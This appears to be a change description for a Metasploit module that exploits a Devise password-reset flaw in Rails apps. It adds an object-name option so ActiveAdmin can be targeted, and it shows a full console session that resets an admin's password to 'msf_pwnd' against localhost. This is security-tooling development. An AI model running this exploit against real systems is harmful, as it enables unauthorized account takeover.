Adds the ability to configure object name in URI and XML.

This allows exploiting other platforms that include devise.

For example, activeadmin is exploitable if running a vulnerable devise and rails version with the following settings;
msf > use auxiliary/admin/http/rails_devise_pass_reset
msf auxiliary(rails_devise_pass_reset) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf auxiliary(rails_devise_pass_reset) > set RPORT 3000
RPORT => 3000
msf auxiliary(rails_devise_pass_reset) > set TARGETEMAIL admin@example.com
TARGETEMAIL => admin@example.com
msf auxiliary(rails_devise_pass_reset) > set TARGETURI /admin/password
TARGETURI => /admin/password
msf auxiliary(rails_devise_pass_reset) > set PASSWORD msf_pwnd
PASSWORD => msf_pwnd
msf auxiliary(rails_devise_pass_reset) > set OBJECTNAME admin_user
OBJECTNAME => admin_user
msf auxiliary(rails_devise_pass_reset) > exploit

[*] Clearing existing tokens...
[*] Generating reset token for admin@example.com...
[+] Reset token generated successfully
[*] Resetting password to "msf_pwnd"...
[+] Password reset worked successfully
[*] Auxiliary module execution completed
msf auxiliary(rails_devise_pass_reset) >

Standing up a vulnerable activeadmin instance is a bit tricky.  Be sure to use a vulnerable version of devise and rails (per this module's Description).